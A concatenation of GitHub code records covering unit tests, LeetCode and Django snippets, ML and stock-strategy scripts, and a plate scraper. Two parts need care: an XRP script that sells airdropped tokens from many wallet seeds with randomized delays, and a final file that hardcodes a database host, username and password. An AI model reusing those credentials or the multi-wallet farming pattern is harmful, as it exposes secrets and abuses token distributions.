'target': {\n 'repos': {\n 'redhat-openshift4-ose-oauth-proxy': {\n 'tags': ['4.2', 'latest', 'v4.2.5', 'v4.2.5-201911121709']\n }\n }\n }\n }\n },\n }\n\n def test_get_doctored_advisory_images_ocp_3(self):\n errata.errata_xmlrpc.get_advisory_cdn_docker_file_list = lambda *_: self.mocked_ocp3_response\n\n expected = \"\"\"#########\nopenshift3/jenkins-subordinate-base-rhel7:v3.11.154-1\nopenshift3/ose-kube-rbac-proxy:v3.11.154-1\nopenshift3/ose-pod:v3.11.154-1\n#########\"\"\"\n actual = errata.get_advisory_images('_irrelevant_', False)\n self.assertEqual(actual, expected)\n\n def test_get_raw_advisory_images_ocp_3(self):\n errata.errata_xmlrpc.get_advisory_cdn_docker_file_list = lambda *_: self.mocked_ocp3_response\n\n expected = \"\"\"kube-rbac-proxy-container-v3.11.154-1\njenkins-subordinate-base-rhel7-container-v3.11.154-1\nopenshift-enterprise-pod-container-v3.11.154-1\"\"\"\n actual = errata.get_advisory_images('_irrelevant_', True)\n self.assertEqual(actual, expected)\n\n def test_get_raw_advisory_images_ocp_4(self):\n errata.errata_xmlrpc.get_advisory_cdn_docker_file_list = lambda *_: self.mocked_ocp4_response\n\n expected = \"\"\"atomic-openshift-cluster-autoscaler-container-v4.2.5-201911121709\ncluster-monitoring-operator-container-v4.2.5-201911121709\ncluster-node-tuning-operator-container-v4.2.5-201911121709\ngolang-github-openshift-oauth-proxy-container-v4.2.5-201911121709\"\"\"\n\n actual = errata.get_advisory_images('_irrelevant_', True)\n self.assertEqual(actual, expected)\n\n\nclass testErratum:\n def __init__(self, rt, ntt):\n self.retry_times = rt\n self.none_throw_threshold = ntt\n\n def commit(self):\n if self.retry_times <= self.none_throw_threshold:\n self.retry_times = self.retry_times + 1\n raise ErrataException(\"this is an exception from testErratum\")\n else:\n pass\n\n def addBugs(self, buglist):\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"rayfordj/elliott","sub_path":"tests/test_errata.py","file_name":"test_errata.py","file_ext":"py","file_size_in_byte":9437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"6205551485","text":"\"\"\"\nTitle : 237. Delete Node in a Linked List\nCategory : Linked List\nURL : https://leetcode.com/problems/delete-node-in-a-linked-list/\nsubmission: https://leetcode.com/submissions/detail/428624804/\n\"\"\"\n\nfrom typing import List\n\n# --------------------------------------------------\n# Solution:\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def deleteNode(self, node):\n \"\"\"\n :type node: ListNode\n :rtype: void Do not return anything, modify node in-place instead.\n \"\"\"\n node.val = node.next.val\n node.next = node.next.next\n\n","repo_name":"Jean-carje/Leetcode-Practice","sub_path":"LinkedList/python/delete-node-in-a-linked-list.py","file_name":"delete-node-in-a-linked-list.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4392365052","text":"from django.conf.urls import patterns, include, url\nfrom monitor import views\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'sysradar.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n #http://127.0.0.1:8000/check_serverip/?ip=127.0.0.1\n url(r'^check_serverip/$', views.check_serverip),\n #http://127.0.0.1:8000/check_service/?port=22\n url(r'^check_service/$', views.check_service),\n #http://127.0.0.1:8000/add_box/?ip=127.0.0.1&box_name=localhost\n url(r'^add_box/$', views.add_box),\n #get_boxes\n url(r'^get_boxes/$', views.get_boxes),\n url(r'^get_box_services/$', views.get_box_services),\n #check_box_services\n url(r'^box_services/$', views.check_box_services),\n #service_control\n url(r'^service_control/$', views.service_control),\n \n \n \n)\n","repo_name":"oquidave/sysradar","sub_path":"sysradar/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41365621425","text":"from django.http import JsonResponse\nfrom .keyManage import postkeys\nfrom store.models import Store\ndef postQuery(postdict:dict):\n if postkeys(postdict):\n instance = Store.objects.create(\n name=str(postdict[\"name\"][0]),\n category=str(postdict['category'][0]),\n subcategory=str(postdict['subcategory'][0]),\n amount=int(postdict['amount'][0]))\n return JsonResponse({\"200\":\"Success\"},safe=False)\n else:\n return JsonResponse({\"400\":\"Bad Request\"},status=400)","repo_name":"syamsv/SuperMarket-Billing-System","sub_path":"store/query/postQuery.py","file_name":"postQuery.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39172878680","text":"import xrpl\nfrom retrying import retry\nfrom time import sleep\nimport pandas as pd\nfrom xrpl.models.requests import AccountLines\nfrom xrpl.account import get_next_valid_seq_number\nfrom xrpl.ledger import get_latest_validated_ledger_sequence\nfrom xrpl.transaction import safe_sign_and_autofill_transaction, send_reliable_submission\nfrom xrpl.utils import xrp_to_drops\nfrom xrpl.models.transactions import Payment\nimport json\nfrom xrpl.account import get_latest_transaction\nfrom xrpl.transaction import get_transaction_from_hash\nfrom xrpl.wallet import Wallet\nfrom xrpl.clients import JsonRpcClient\nfrom xrpl.models.amounts import IssuedCurrencyAmount\nfrom xrpl.models.requests import AccountLines\nfrom xrpl.models.transactions import OfferCreate\nimport random\n\n\n##### update count to limit number of lines, drop, order limit, and tl info\nlines = 20000\nlimit = 1151\nloop = True\n\n#randomness\ndelays = [13.0, 21.0, 34.0, 55.0, 89.0, 144.0, 233.0]\ndelays = [i/2.33 for i in delays]\n\n######fix filenames before running\nfilename_in = redacted\ndf = pd.read_excel(f'redacted', 0)\nseeds = df['Seeds'].tolist()\n\n\n# Define the network client\nJSON_RPC_URL = \"https://xrplcluster.com/\"\nclient = JsonRpcClient(JSON_RPC_URL)\n\n#set params\ndrop = 172\n#name = 'fedos'\nIssuer = \"rwbV9h75Tqvr629o5tGVWbdmMzU9aqhUi3\"\nCurrency = '4665646F73000000000000000000000000000000'\n\n\n##get origin addresses\norigins = []\nfor i in seeds:\n hold = []\n wallet = Wallet(seed=i, sequence=1)\n hold.append(wallet)\n address = str(Wallet(seed=i, sequence=1).classic_address)\n hold.append(address)\n origins.append(hold)\n\nprint(origins)\n\n\n#------------------------------------------------------------------------------------------------------------------\n\n\n# def retry_if_result_none(result):\n# \"\"\"Return True if we should retry (in this case when result is None), False otherwise\"\"\"\n# return result is None\n#\n# @retry(retry_on_result=retry_if_result_none)\ndef sell(origin_address, origin_wallet):\n account = origin_address\n\n print('selling', account)\n xrp = drop / limit\n tp = xrp_to_drops(xrp)\n print('tp')\n\n # Prepare transaction ----------------------------------------------------------\n my_payment = xrpl.models.transactions.OfferCreate(\n account=origin_address,\n fee='15',\n taker_gets=to_harvest,\n taker_pays=str(tp),\n flags=131072\n )\n\n # Sign transaction -------------------------------------------------------------\n signed_tx = xrpl.transaction.safe_sign_and_autofill_transaction(\n my_payment, origin_wallet, client, check_fee=False)\n max_ledger = signed_tx.last_ledger_sequence\n tx_id = signed_tx.get_hash()\n print('hi3')\n # Submit transaction -----------------------------------------------------------\n try:\n tx_response = xrpl.transaction.send_reliable_submission(signed_tx, client)\n sleep(1)\n except xrpl.transaction.XRPLReliableSubmissionException as e:\n sleep(4)\n print(f\"Submit failed: {e}\")\n pass\n except:\n pass\n\n # Look up info about your account\n acct_lines = AccountLines(\n account=account)\n try:\n response = client.request(acct_lines)\n result = response.result.get('lines')\n for j in result:\n # print(j)\n if j.get('account') == Issuer:\n Value = j.get('balance')\n except:\n pass\n if Value != '0':\n return None\n else:\n return True\n\n#run\ncount = 0\nsucceed = 0\nfor i in origins:\n sleep(1)\n if succeed >= lines:\n break\n count += 1\n print(count, limit)\n account = i[1]\n\n if account == 'redacted':\n continue\n\n # Look up info about your account\n acct_lines = AccountLines(\n account=account\n )\n try:\n response = client.request(acct_lines)\n result = response.result.get('lines')\n for j in result:\n #print(j)\n if j.get('account') == Issuer:\n if float(j.get('balance')) >= drop:\n print(random.choice(delays))\n sleep(random.choice(delays))\n succeed += 1\n print(succeed)\n to_harvest = IssuedCurrencyAmount(currency=Currency, issuer=Issuer, value=str(drop))\n sell(i[1], i[0])\n pass\n except:\n pass\n\nsold = (drop/limit)*succeed\nprint('sold =', sold, lines)\n","repo_name":"scotthurwitz1/airdropfarmingxrp","sub_path":"offer create.py","file_name":"offer create.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72045155665","text":"from transaction import get_data\nfrom keras import Sequential\nfrom keras.layers.core import Dense, Dropout\nfrom keras.layers import Embedding\nfrom keras.layers.recurrent import SimpleRNN\nfrom sklearn.metrics import accuracy_score\ndef RNN():\n model = Sequential()\n result = []\n (x_train, y_train), (x_test, y_test) = get_data()\n model.add(Embedding(output_dim=32, input_dim=x_train.shape[0], input_length=x_train.shape[1]))\n model.add(Dropout(0.25))\n model.add(SimpleRNN(units=32))\n model.add(Dense(units=256, activation='relu'))\n model.add(Dropout(0.25))\n model.add(Dense(units=1, activation='sigmoid'))\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n model.fit(x_train, y_train, batch_size=30, epochs=1, verbose=2, validation_split=0.2)\n y_pred = model.predict_classes(x_test)\n result.append(accuracy_score(y_test, y_pred))\n\n print('RNN done')\n return result\n\n#print(RNN())\n","repo_name":"angelxd84130/CreditCardFraudDetection","sub_path":"RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73108722064","text":"\nfrom dataclasses import dataclass\nfrom threading import Thread\nimport threading\nfrom time import sleep\nfrom logic.config import SPEEDUP\n\n\n\n@dataclass\nclass FanConfig:\n Tacos: int\n TimeToTrigger:int\n TImeOn:int\n\n\nclass Fan:\n def __init__(self,config:FanConfig):\n self.number_ons = 0\n self.config = config\n self.turnedOn = False\n\n def Launch(self):\n # Thread(target=self.watcher, args=()).start()÷\n return\n\n def addTacos(self,number:int = 1):\n self.config.Tacos +=number\n if self.config.Tacos >= self.config.TimeToTrigger and not self.turnedOn:\n self.config.Tacos -= self.config.TimeToTrigger # 8_\n Thread(target=self.TurnFan,args=()).start()\n\n # def watcher(self):\n # while True:\n \n # if(self.config.Tacos % self.config.TimeToTrigger == 0 and self.config.Tacos):\n\n # print(\"UWU\")\n # l = Thread(target=self.TurnFan,args=())\n # l.start()\n # l.join()\n\n def TurnFan(self):\n print(\"ventilando\")\n self.turnedOn = True\n sleep(self.config.TImeOn)\n self.turnedOn = False\n \n\n\n \n\n","repo_name":"FanGoH/legotaco-server","sub_path":"logic/Fan.py","file_name":"Fan.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9218130825","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom .models import *\n\n# Create your tests here.\nclass PostModeltestCase (TestCase):\n def setUp(self):\n some_random_user=User.objects.create(username='pepsi1111111'),\n\n def test_post_item(self):\n obj = Post.objects.create(\n author=User.objects.first(),\n content='Some random content'\n )\n self.assertTrue(obj.content == 'Some random content')\n self.assertTrue(obj.id == 1)\n absolute_url = reverse(\"detail\", kwargs={\"post_id\": 1})\n self.assertEqual(obj.get_absolute_url(), absolute_url)\n\n","repo_name":"abdullahshaker10/Django_blog","sub_path":"blog/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75167901264","text":"from UnionFind import UnionFind\n\nclass Kruskal:\n def __init__(self,hexgrid):\n self.hexgrid=hexgrid\n\n def kruskal(self):\n uf = UnionFind()\n for i in self.hexgrid.get_nodes():\n uf.makeSet(i)\n\n #arêtes de l'arpm\n chemin = []\n tri=sorted(self.hexgrid.get_all_edges(), key=lambda li: li[2])\n \n #on ajoute les arêtes de l'arpm\n for i in tri:\n a,b,poids=i\n if uf.find(a)!=uf.find(b):\n chemin.append(i)\n uf.union(a,b)\n\n return chemin\n \n","repo_name":"zelmano/hexagamblin","sub_path":"Kruskal.py","file_name":"Kruskal.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27428927790","text":"# create lists of list\n\ndef check(board,p1,p2):\n\n # 1 horizontal p1\n if board[0][0] == board[0][1] ==board[0][2] == p1 \\\n or board[1][0] == board[1][1] ==board[1][2] ==p1 \\\n or board[2][0] == board[2][1] ==board[2][2] ==p1 :\n return (\"0\",\"Player 1 WON by horizontal\")\n\n # horizontal p2\n elif board[0][0] == board[0][1] ==board[0][2] == p2 \\\n or board[1][0] == board[1][1] ==board[1][2] ==p2 \\\n or board[2][0] == board[2][1] ==board[2][2] ==p2 :\n return (\"0\",\"Player 2 WON by horizontal\")\n\n # 2 vertical p1\n elif board[0][0] == board[1][0] ==board[2][0] == p1 \\\n or board[0][1] == board[1][1] ==board[2][1] == p1 \\\n or board[0][2] == board[1][2] ==board[2][2] == p1:\n return (\"0\",\"Player 1 WON by vertical\")\n\n # 2 vertical p2\n elif board[0][0] == board[1][0] ==board[2][0] == p2 \\\n or board[0][1] == board[1][1] ==board[2][1] == p2 \\\n or board[0][2] == board[1][2] ==board[2][2] == p2:\n return (\"0\",\"Player 2 WON by vertical\")\n\n # 3 diagonal 1 p1\n elif board[0][0]==board[1][1]==board[2][2]==p1 :\n return (\"0\",\"Player 1 won by (forward) diagonal\")\n\n # diagonal 1 p2\n elif board[0][0] == board[1][1] == board[2][2] == p2:\n return (\"0\", \"Player 2 won by (forward) diagonal\")\n\n # 4 diagonal 2 p1\n elif board[0][2]==board[1][1]==board[2][0]==p1 :\n return (\"0\",\"Player 1 won by (backward) diagonal\")\n\n # diagonal 2 p2\n elif board[0][2] == board[1][1] == board[2][0] == p2:\n return (\"0\", \"Player 2 won by (backward) diagonal\")\n\n # all positions full tie / even if all position full check for win\n elif ' ' not in board[0] and ' ' not in board[1] and ' ' not in board[2]:\n return (\"0\",\"Tie\")\n\n else:\n return (\"1\",\"\")\n\n\n","repo_name":"SaishWadkar/TicTacToe-Game","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42164155931","text":"#!/usr/bin/python3\nif (__name__ == '__main__'):\n import sys\n counter = len(sys.argv)\n if (counter == 1):\n print(\"0 arguments.\")\n elif (counter == 2):\n print(\"{} argument:\".format(counter - 1))\n else:\n print(\"{} arguments:\".format(counter - 1))\n for count in range(1, counter):\n print(\"{}: {}\".format((count), sys.argv[count]))\n","repo_name":"Juli868/alx-higher_level_programming","sub_path":"0x02-python-import_modules/2-args.py","file_name":"2-args.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32305790271","text":"from unittest import SkipTest\n\nimport boto3\nimport pytest\n\nfrom moto import mock_s3\nfrom moto import settings\n\n\n@pytest.fixture(scope=\"function\", name=\"aws_credentials\")\ndef fixture_aws_credentials(monkeypatch):\n \"\"\"Mocked AWS Credentials for moto.\"\"\"\n if settings.TEST_SERVER_MODE:\n raise SkipTest(\"No point in testing this in ServerMode.\")\n monkeypatch.setenv(\"AWS_ACCESS_KEY_ID\", \"testing\")\n monkeypatch.setenv(\"AWS_SECRET_ACCESS_KEY\", \"testing\")\n monkeypatch.setenv(\"AWS_SECURITY_TOKEN\", \"testing\")\n monkeypatch.setenv(\"AWS_SESSION_TOKEN\", \"testing\")\n\n\ndef test_mock_works_with_client_created_inside(\n aws_credentials,\n): # pylint: disable=unused-argument\n m = mock_s3()\n m.start()\n client = boto3.client(\"s3\", region_name=\"us-east-1\")\n\n b = client.list_buckets()\n assert b[\"Buckets\"] == []\n m.stop()\n\n\ndef test_mock_works_with_client_created_outside(\n aws_credentials,\n): # pylint: disable=unused-argument\n # Create the boto3 client first\n outside_client = boto3.client(\"s3\", region_name=\"us-east-1\")\n\n # Start the mock afterwards - which does not mock an already created client\n m = mock_s3()\n m.start()\n\n # So remind us to mock this client\n from moto.core import patch_client\n\n patch_client(outside_client)\n\n b = outside_client.list_buckets()\n assert b[\"Buckets\"] == []\n m.stop()\n\n\ndef test_mock_works_with_resource_created_outside(\n aws_credentials,\n): # pylint: disable=unused-argument\n # Create the boto3 client first\n outside_resource = boto3.resource(\"s3\", region_name=\"us-east-1\")\n\n # Start the mock afterwards - which does not mock an already created resource\n m = mock_s3()\n m.start()\n\n # So remind us to mock this resource\n from moto.core import patch_resource\n\n patch_resource(outside_resource)\n\n assert not list(outside_resource.buckets.all())\n m.stop()\n\n\ndef test_patch_can_be_called_on_a_mocked_client():\n # start S3 after the mock, ensuring that the client contains our event-handler\n m = mock_s3()\n m.start()\n client = boto3.client(\"s3\", region_name=\"us-east-1\")\n\n from moto.core import patch_client\n\n patch_client(client)\n patch_client(client)\n\n # At this point, our event-handler should only be registered once, by `mock_s3`\n # `patch_client` should not re-register the event-handler\n test_object = b\"test_object_text\"\n client.create_bucket(Bucket=\"buck\")\n client.put_object(Bucket=\"buck\", Key=\"to\", Body=test_object)\n got_object = client.get_object(Bucket=\"buck\", Key=\"to\")[\"Body\"].read()\n assert got_object == test_object\n\n m.stop()\n\n\ndef test_patch_client_does_not_work_for_random_parameters():\n from moto.core import patch_client\n\n with pytest.raises(Exception, match=\"Argument sth should be of type boto3.client\"):\n patch_client(\"sth\")\n\n\ndef test_patch_resource_does_not_work_for_random_parameters():\n from moto.core import patch_resource\n\n with pytest.raises(\n Exception, match=\"Argument sth should be of type boto3.resource\"\n ):\n patch_resource(\"sth\")\n\n\nclass ImportantBusinessLogic:\n def __init__(self):\n self._s3 = boto3.client(\"s3\", region_name=\"us-east-1\")\n\n def do_important_things(self):\n return self._s3.list_buckets()[\"Buckets\"]\n\n\ndef test_mock_works_when_replacing_client(\n aws_credentials,\n): # pylint: disable=unused-argument\n logic = ImportantBusinessLogic()\n\n m = mock_s3()\n m.start()\n\n # This will fail, as the S3 client was created before the mock was initialized\n try:\n logic.do_important_things()\n except Exception as e:\n assert str(e) == \"InvalidAccessKeyId\"\n\n client_initialized_after_mock = boto3.client(\"s3\", region_name=\"us-east-1\")\n logic._s3 = client_initialized_after_mock\n # This will work, as we now use a properly mocked client\n assert logic.do_important_things() == []\n\n m.stop()\n","repo_name":"getmoto/moto","sub_path":"tests/test_core/test_importorder.py","file_name":"test_importorder.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"71295642066","text":"from time import sleep\n\n\ndef decidir_si_es_par_o_impar(mi_numero):\n resto_de_divir_con_dos = mi_numero % 2\n if resto_de_divir_con_dos == 0:\n print(f\"{mi_numero} es un numero par\")\n else:\n print(f\"{mi_numero} es un numero impar\")\n\n\nfor i in range(10):\n sleep(1.5)\n decidir_si_es_par_o_impar(i)\n","repo_name":"mbarraco/coder-marianobarraco","sub_path":"coder-47790/clase_07/funcion_2.py","file_name":"funcion_2.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"es","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"21079962975","text":"from turtle import*\nangle = 3\ncolor(\"red\")\n\nfor i in range(4):\n for a in range(angle):\n\n left(360/angle)\n\n forward(100)\n\n angle += 1\n\n if pencolor() == \"red\":\n\n color(\"blue\")\n\n else:\n\n color(\"red\")\n\n\n\nmainloop()\n\n","repo_name":"vietduc1210/NguyenVietDuc_c4t5","sub_path":"draw_02.py","file_name":"draw_02.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26735217143","text":"#Description: The 3 moving average strategy for b/s\nimport pandas as pd\nimport numpy as np\nimport visualize\nimport data\n\n###Functions\n##Strategies\n\n#3 Moving Averages Strategy\ndef strategy_3ma(data):\n buy_list = []\n sell_list = []\n #managing buy signals\n flag_long = False\n flag_short = False\n\n #buy/sell logic\n for i in range(0, len(data)):\n if data['Middle'][i] < data['Long'][i] and data['Short'][i] < data['Middle'][i] and flag_long == False and flag_short == False:\n #buy\n buy_list.append(data['4. close'][i])\n sell_list.append(np.nan)\n flag_short = True\n elif flag_short == True and data['Short'][i] > data['Middle'][i]:\n #sell\n sell_list.append(data['4. close'][i])\n buy_list.append(np.nan)\n flag_short = False\n elif data['Middle'][i] > data['Long'][i] and data['Short'][i] > data['Middle'][i] and flag_long == False and flag_short == False:\n #buy\n buy_list.append(data['4. close'][i])\n sell_list.append(np.nan)\n flag_long = True\n elif flag_long == True and data['Short'][i] < data['Middle'][i]:\n #sell\n sell_list.append(data['4. close'][i])\n buy_list.append(np.nan)\n flag_long = False\n else:\n buy_list.append(np.nan)\n sell_list.append(np.nan)\n\n return (buy_list, sell_list)\n\n##Profit Calculation\ndef unit_net(data):\n net=0\n #remove endpts\n firstbuy = False\n lastsell = False\n for i in range(0, len(data)):\n if firstbuy and not pd.isna(data['Buy'][i]):\n net = net - data['Buy'][i]\n print(\"Bought: \", data['Buy'][i])\n\n if (len((data['Buy'][i:len(data) - 1].dropna())) == 1):\n lastsell = True\n elif not lastsell and not pd.isna(data['Sell'][i]):\n net = net + data['Sell'][i]\n print(\"Sold: \", data['Sell'][i])\n firstbuy = True\n return net\n\n\n\n\n","repo_name":"j6nca/stonks","sub_path":"strategies.py","file_name":"strategies.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13836764064","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 10 00:09:34 2020\nModified on Tue Jan 26 2021\n\n@author: Cihat Özeray\n\n\"\"\"\n\nimport string\nimport random\nimport time\nimport sys\nimport urllib.request\nimport pandas as pd\n\n\ndef get_data_from_web():\n \"\"\"\n Web scraping using urllib\n \"\"\"\n\n # getting the html as a string:\n url = 'https://www.gib.gov.tr/plaka-harf-grubu'\n response = urllib.request.urlopen(url)\n content = response.read()\n content = str(content)\n # useful portion of the string is selected:\n temp_start = content.find(\"fileadmin/user_upload/Plaka_Harf/Adana.htm\")\n temp_start -= 6\n temp_end = content.find(\"Harf/Rize.htm\")\n temp_end += 14\n content = content[temp_start:temp_end]\n # generation of the url's from the raw string (each url represents a province)\n content_list = content.split(\"target=\")\n url_list = []\n for i in content_list:\n j = i.find(\"href=\")\n url_list.append(i[j:])\n\n url_list = [i.replace(\"href=\", \"\").strip() for i in url_list]\n url_list = [i[1:-1] for i in url_list]\n\n url_list = [\"http://www.gib.gov.tr/\" + i for i in url_list]\n\n # necassary table from each url is saved into a dictionary\n # where keys represent the province codes\n\n provinces_dict = {}\n print(\"\\ngetting the tables from 'www.gib.gov.tr/plaka-harf-grubu' \\n\")\n\n for url_city in url_list:\n print(\"getting ... \" + url_city[55:-4])\n # there were complications caused by the inputs 'NA' which\n #(keep_default_na' used for that purpose)\n df_temp = pd.read_html(url_city, keep_default_na=False)\n df_temp = df_temp[-1]\n province_code = df_temp.iat[2, 1]\n provinces_dict[province_code] = df_temp\n\n return provinces_dict\n\n\ndef data_cleansing(provinces_dict):\n \"\"\"\n Data cleansing using pandas dataframe\n Takes dictionary of dataframes as input\n Returns dictionary of dataframes\n \"\"\"\n\n cleansed_provinces_dict = {}\n\n for df_temp in provinces_dict.values():\n # unrelated columns to the plate generation are dropped\n # df_temp.drop(df_temp.columns[[0, 6, 7]], axis=1, inplace=True)\n\n # these rows has missing information that cannot be filled by logic\n df_temp.dropna(thresh=3, inplace=True)\n\n # type conversion for data cleansing\n df_temp = df_temp[[1, 2, 3, 4, 5]].astype(str)\n\n # headings are dropped from each table\n df_temp = df_temp[df_temp[1].str.isnumeric()]\n\n # private plates and state official's plates are dropped\n df_temp = df_temp[df_temp[2].str.len() < 4]\n\n # unvalid letter entries are replaced with the logical twins\n df_temp = df_temp.replace(\"Â\", \"A\", regex=True)\n\n # all of the rows in the dataframe are appended into a list\n # which will be used later as a rulebook\n # if the last item is missing, it could not be filled logically\n # and these rows are dropped\n plate_boundary_list = [list(i) for i in df_temp.itertuples(index=False) if i[-1] != \"\" \\\n and i[-1] is not None]\n\n # best guess when one of the letters is missing:\n # the other letter has taken as the only option available\n # existing letters are copied into missing ones:\n for i in plate_boundary_list:\n if i[3] == \"\":\n i[3] = i[1]\n province_code = int(plate_boundary_list[1][0])\n cleansed_provinces_dict[province_code] = [i[1:] for i in plate_boundary_list]\n\n return cleansed_provinces_dict\n\n\ndef generate_string_range():\n \"\"\"\n Generates a string list to represent a range\n Returns list of strings\n \"\"\"\n\n # from \"A\" to \"ZZZ\", an ordered list is created for representing a string range\n\n # illegal letters are removed\n not_allowed = [\"X\", \"W\", \"Q\"]\n upper = [i for i in list(string.ascii_uppercase) if i not in not_allowed]\n\n string_list = upper.copy()\n\n for i in upper:\n for j in upper:\n temp = i + j\n string_list.append(temp)\n for i in upper:\n for j in upper + [\"I\", \"O\"]:\n for k in upper:\n temp = i + j + k\n string_list.append(temp)\n\n return string_list\n\n\ndef generate_random_plate(cleansed_provinces_dict, string_list):\n \"\"\"\n Generates a random plate within designated regulations\n Returns a string\n \"\"\"\n\n province = random.randint(1, 81)\n district = random.randint(0, len(cleansed_provinces_dict[province])-1)\n constraint = cleansed_provinces_dict[province][district]\n\n lower_boundary = string_list.index(constraint[0])\n upper_boundary = string_list.index(constraint[2])\n plate_middle = string_list[random.randint(lower_boundary, upper_boundary)]\n\n plate_end_int = random.randint(int(constraint[1]), int(constraint[3]))\n\n province, plate_end = str(province), str(plate_end_int)\n province = \"0\" + province if len(province) == 1 else province\n\n plate = province + \" \" + plate_middle + \" \" + plate_end\n\n return plate\n\n\ndef test_letters(cleansed_provinces_dict, string_list):\n \"\"\"\n Prints all of the strings available\n It is useful to test if data is missing or misread\n \"\"\"\n\n for i in cleansed_provinces_dict.keys():\n for j in cleansed_provinces_dict[i]:\n for k in string_list[string_list.index(j[0]) : string_list.index(j[2]) + 1]:\n plate = str(i) + \" \" + k + \" \"\n print(plate)\n\n\ndef test_numbers(cleansed_provinces_dict):\n \"\"\"\n Prints start and end points of the number range\n It is useful to test if data is missing or misread\n \"\"\"\n\n for i in cleansed_provinces_dict.keys():\n for j in cleansed_provinces_dict[i]:\n if not j[1].isnumeric() or not j[3].isnumeric():\n print(\"ERROR\")\n plate = str(i) + \" \" + str(j[1]) + \" \" + str(j[3])\n print(plate)\n\n\ndef main():\n \"\"\"\n Main function:\n Calls necessary functions to print a random plate\n Has tests for data acquisition and cleansing\n Has a test for time it takes to execute\n \"\"\"\n\n enter = \"\"\n while enter == \"\":\n\n t_0 = time.time()\n\n global PROVINCES_DICT\n global CLEANSED_PROVINCES_DICT\n global STRING_LIST\n\n if \"PROVINCES_DICT\" not in globals():\n PROVINCES_DICT = get_data_from_web()\n if \"CLEANSED_PROVINCES_DICT\" not in globals():\n CLEANSED_PROVINCES_DICT = data_cleansing(PROVINCES_DICT)\n if \"STRING_LIST\" not in globals():\n STRING_LIST = generate_string_range()\n\n if \"test_letters\" in sys.argv:\n test_letters(CLEANSED_PROVINCES_DICT, STRING_LIST)\n\n if \"test_numbers\" in sys.argv:\n test_numbers(CLEANSED_PROVINCES_DICT)\n\n if \"test_time\" in sys.argv:\n t_1 = time.time()\n time_diff = str(t_1 - t_0)\n print(\"\\n\" + time_diff)\n\n plate = generate_random_plate(CLEANSED_PROVINCES_DICT, STRING_LIST)\n print(\"\\n\" + plate)\n\n enter = input(\"\\nPress 'Enter' for a new plate or a random letter to exit: \")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cihatozeray/random_plate_generator__web_scraping","sub_path":"generate_random_plate.py","file_name":"generate_random_plate.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30989761572","text":"import pandas as pd\nimport numpy as np\nimport boto3\nimport psycopg2\nimport configparser\nimport matplotlib.pyplot as plt\n\nDB_USER=\"admincuentas2\"\nDB_NAME=\"cuentas\"\nDB_PASSWORD=\"cuentas2admin2023\"\nDB_PORT=3306\nDB_HOST=\"cuentas2.clptjw9nvvtu.us-east-1.rds.amazonaws.com\"\n\nmysql_driver = \"mysql+pymysql://{}:{}@{}:{}/{}\".format(DB_USER, DB_PASSWORD, DB_HOST, DB_PORT, DB_NAME)\nprint(mysql_driver)\n\ndata_tipo_transacciones = [\n {'id_tipo_transac': 85095, 'tipo_transaccion': 'Depóito'}, \n {'id_tipo_transac': 85098, 'tipo_transaccion': 'Retiro'},\n {'id_tipo_transac': 85194, 'tipo_transaccion': 'Transferencia'},\n {'id_tipo_transac': 85133, 'tipo_transaccion': 'Pago Prestamo'}\n]\nprint(data_tipo_transacciones)\n\ndf_transaccion = pd.DataFrame(data_tipo_transacciones)\ndf_transaccion\n\n#response = df_transaccion.to_sql('tipo_transacciones',mysql_driver,index = False, if_exists ='append')\n#response \n\ndatos_crudos = pd.read_excel('../datos/cxc_cxp_bancos_el_rosario.xlsx')\n#datos ingresados son reales, solo el numero de factura o recibo no se contaba con el, por lo que se coloco uno para posteriormente ya llenarlo con 